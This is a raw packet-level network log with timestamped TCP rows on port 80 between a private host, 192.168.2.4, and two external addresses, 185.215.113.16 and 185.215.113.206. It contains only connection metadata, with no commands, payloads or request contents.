Oct 26, 2024 05:55:11.515403032 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.515424013 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.515439034 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.515459061 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.515482903 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.555242062 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.555284977 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.555305004 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.555335045 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.555347919 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.555393934 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.597280979 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.597381115 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.597419024 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.597456932 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.597512960 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.597558975 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.676209927 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.676269054 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.676320076 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.676332951 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.676354885 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.676388979 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.676408052 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.676424980 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.676434040 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.676476955 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.676527977 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.676527977 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.676563025 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.676595926 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.676609039 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.676629066 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.676640034 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.676664114 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.676711082 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.676795959 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.676829100 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.676863909 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.676878929 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.676899910 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.676904917 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.676944971 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.676953077 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.677002907 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.677006960 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.677040100 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.677050114 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.677073002 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.677084923 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.677107096 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.677136898 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.677139997 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.677158117 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.677171946 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.677184105 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.677212000 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.677231073 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.677248001 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.677279949 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.677310944 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.677318096 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.677351952 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.677365065 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.677385092 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.677395105 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.677419901 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.677433968 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.677457094 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.677463055 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.677490950 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.677525043 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.677539110 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.677558899 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.677592993 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.677606106 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.677625895 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.677642107 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.677680016 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.677683115 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.677716017 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.677727938 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.677751064 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.677759886 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.677786112 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.677795887 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.677819967 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.677829027 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.677856922 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.677872896 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.677892923 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.677897930 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.677933931 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.710433006 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.710464001 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.710501909 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.710515022 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.710535049 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.710544109 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.710566044 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.710583925 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.753011942 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.753060102 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.753097057 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.753108978 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.753118992 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.753137112 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.753146887 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.753376961 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.822107077 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.822161913 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.822174072 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.822180033 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.822200060 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.822215080 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.822233915 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.822233915 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.822247028 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.822324991 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.822341919 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.822355986 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.822369099 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.822380066 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.822401047 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.822617054 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.822664022 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.822690964 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.822730064 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.822734118 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.822774887 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.822818041 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.822832108 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.822854996 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.822864056 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.822870970 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.822882891 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.822895050 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.822901964 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.822906971 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.822940111 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.823086977 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.823117018 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.823132992 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.823134899 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.823157072 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.823168039 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.823245049 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.823260069 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.823287964 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.823297977 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.823390961 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.823514938 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.823698044 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.823792934 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.823868990 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.823920012 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.824301958 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.824317932 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.824350119 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.824362040 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.824906111 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.824955940 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.825093031 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.825139999 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.825804949 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.825850964 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.827228069 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.827250004 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.827265978 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.827276945 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.827297926 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.827306032 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.827318907 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.827327967 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.827343941 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.827347040 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.827364922 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.827367067 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.827378988 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.827389956 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.827394962 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.827409983 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.827413082 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.827418089 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.827419043 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.827435017 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.827455044 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.827459097 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.827476025 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.827482939 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.827491045 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.827506065 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.827506065 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.827517986 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.827522993 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.827536106 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.827539921 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.827555895 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.827557087 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.827564955 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.827574015 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.827585936 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.827600956 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.827619076 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.827644110 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.827658892 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.827691078 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.865950108 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.866003990 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.866020918 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.866034985 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.866056919 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.866075039 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.910514116 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.910542965 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.910576105 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.910609961 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.910629988 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.910689116 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.978810072 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.978868008 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.978889942 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.978899002 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.978923082 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.978935957 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.978950024 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.978971958 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.978991032 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.979012966 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.979017019 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.979048014 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.979074955 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.979105949 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.979522943 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.979574919 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.979588032 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.979604959 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.979619980 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.979645967 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.979670048 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.979737997 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.979744911 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.979770899 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.979780912 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.979824066 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.979857922 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.979872942 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.979891062 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.979906082 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.979943991 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.979986906 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.980041027 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.980053902 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.980103970 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.980138063 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.980165958 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.980170012 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.980189085 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.980211020 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.980396986 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.980458021 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.980459929 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.980494976 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.980526924 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.980551004 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.980560064 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.980576992 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.980593920 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.980628014 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.980645895 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.980667114 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.980709076 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.980736971 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.980770111 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.980779886 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.980820894 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.980849981 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.980884075 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.980906963 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.980921984 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.980932951 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.980951071 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.980963945 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.980998039 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.981000900 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.981034040 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.981055021 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.981070995 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.981080055 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.981101036 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.981117010 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.981134892 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.981197119 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.981199980 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.981223106 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.981236935 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.981270075 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.981276035 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.981296062 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.981343985 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.981417894 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.981475115 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.981483936 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.981517076 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.981537104 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.981569052 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.981636047 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.981690884 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.981724024 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.981756926 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.981775045 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.981803894 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.981851101 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.981901884 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.981901884 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.981935978 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.981956959 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.981969118 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.981982946 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.982016087 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:12.021575928 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:12.021626949 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:12.021658897 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:12.021667004 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:12.021677017 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:12.021724939 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:12.064037085 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:12.064089060 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:12.064127922 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:12.064178944 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:12.064217091 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:12.135762930 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:12.135803938 CEST	80	49745	185.215.113.206	192.168.2.4
